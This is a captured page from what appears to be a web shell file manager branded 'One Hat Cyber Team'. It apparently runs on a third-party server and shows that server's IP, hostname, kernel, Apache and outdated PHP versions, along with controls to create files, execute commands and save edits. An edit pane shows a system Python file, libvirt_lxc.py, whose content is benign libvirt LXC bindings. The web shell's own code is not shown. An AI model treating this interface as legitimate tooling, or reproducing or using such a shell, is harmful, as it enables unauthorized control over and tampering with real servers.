One Hat Cyber Team
Your IP :
216.73.216.80
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.6
/
site-packages
/
Edit File:
libvirt_lxc.py
# # WARNING WARNING WARNING WARNING # # This file is automatically written by generator.py. Any changes # made here will be lost. # # To change the manually written methods edit libvirt-lxc-override.py # To change the automatically written methods edit generator.py # # WARNING WARNING WARNING WARNING # # # WARNING WARNING WARNING WARNING # # Automatically written part of python bindings for libvirt # # WARNING WARNING WARNING WARNING try: import libvirtmod_lxc except ImportError as lib_e: try: import cygvirtmod_lxc as libvirtmod_lxc except ImportError as cyg_e: if "No module named" in str(cyg_e): raise lib_e import libvirt # # Functions from module libvirt-lxc # def lxcEnterCGroup(domain, flags): """This API is LXC specific, so it will only work with hypervisor connections to the LXC driver. Attaches the process to the control cgroups associated with the container @domain. """ ret = libvirtmod_lxc.virDomainLxcEnterCGroup(domain._o, flags) if ret is None: raise libvirt.libvirtError('virDomainLxcEnterCGroup() failed') return ret def lxcOpenNamespace(domain, flags): """This API is LXC specific, so it will only work with hypervisor connections to the LXC driver. Open the namespaces associated with the container @domain and return a list of file descriptors associated with the container. The returned file descriptors are intended to be used with the setns() system call. """ ret = libvirtmod_lxc.virDomainLxcOpenNamespace(domain._o, flags) if ret is None: raise libvirt.libvirtError('virDomainLxcOpenNamespace() failed') return ret
Simpan